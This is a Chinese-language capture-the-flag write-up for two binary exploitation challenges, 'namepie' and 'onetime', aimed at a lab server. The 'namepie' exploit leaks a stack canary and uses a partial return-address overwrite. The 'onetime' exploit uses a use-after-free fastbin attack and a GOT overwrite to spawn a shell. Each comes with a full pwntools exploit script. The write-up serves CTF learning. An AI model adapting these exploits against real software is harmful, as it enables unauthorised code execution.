namepie

基本情况

程序有后门:

image-20201108161441296

漏洞

第二次输入栈溢出

image-20201108161534336

思路

pie 保护 partly write 绕过。

第一次输入泄露 canary ,第二次覆盖 rip

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level='debug')
# p = process("./namepie")
p = remote("172.20.14.168",9999)
elf = ELF("./namepie")


p.recvuntil(":\n")
name = 'skye'.ljust(0x30-0x8+1,'a')
p.send(name)

p.recvuntil('skye'.ljust(0x30-0x8,'a'))
canary = u64(p.recv(8))-0x61
log.info("canary:"+hex(canary))

# gdb.attach(p)
payload = 'a'*0x28+p64(canary)+'a'*8+'\x71'
p.send(payload)

p.interactive()

onetime

基本情况

堆管理器,有增删查改功能,每个功能只能用一次,还有一个隐藏申请选项,也是只能用一次。

堆指针、每个功能使用标志位放在 bss 段。

堆申请大小固定 0x60 ,修改只能修改 0x40 ,但是隐藏申请选项能申请并写入 0x60 字节。

漏洞

free 函数 UAF :

image-20201108162256914

还有一点就是每个功能是否使用的判断条件,只要不等于 1 就能运行:

1
if ( xxxx_inuse == 1 )

思路

  1. UAF 改 fastbin 中 fd 指针到 bss 段,用 bss 上 stdin 的值偏移 3 构造出 size 位 0x7f
  2. 申请堆回来,然后用隐藏申请选项申请出 bss 段的堆,顺便写入 payload (edit 用过一次不能用),将各个标志位覆盖,chunk_ptr 覆盖 atoi@got
  3. 泄露、修改函数地址

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context(log_level='debug',arch='amd64')

p = process("./onetime")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./onetime")
p = remote("172.20.14.168",10001)
libc = ELF("./libc-2.23.so")



def add():
p.recvuntil(">>\n")
p.sendline('1')
def fill(content):
p.recvuntil(">>\n")
p.sendline('2')
p.recvuntil("content:")
p.send(content)
def show():
p.recvuntil(">>\n")
p.sendline("3")
def free():
p.recvuntil(">>\n")
p.sendline('4')
def hint(name):
p.recvuntil(">>\n")
p.sendline('5')
p.recvuntil("name:")
p.send(name)


add()
free()
fill(p64(0x60208d))
add()
payload = '\x00'*3+'a'*8+p64(elf.got['atoi'])+'a'*0x10#+'\x00'*8+p64(0xdeadbeef)
#payload += p64(elf.got['free']) + p64(0xdeadbeef)*2

hint(payload)
show()
p.recvuntil("data:")
atoi_addr = u64(p.recv(6).ljust(8,'\x00'))
log.info("atoi_addr:"+hex(atoi_addr))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
# fill('b'*8)
fill(p64(system_addr))

# gdb.attach(p,'b *0x40092D')
p.send('sh')

p.interactive()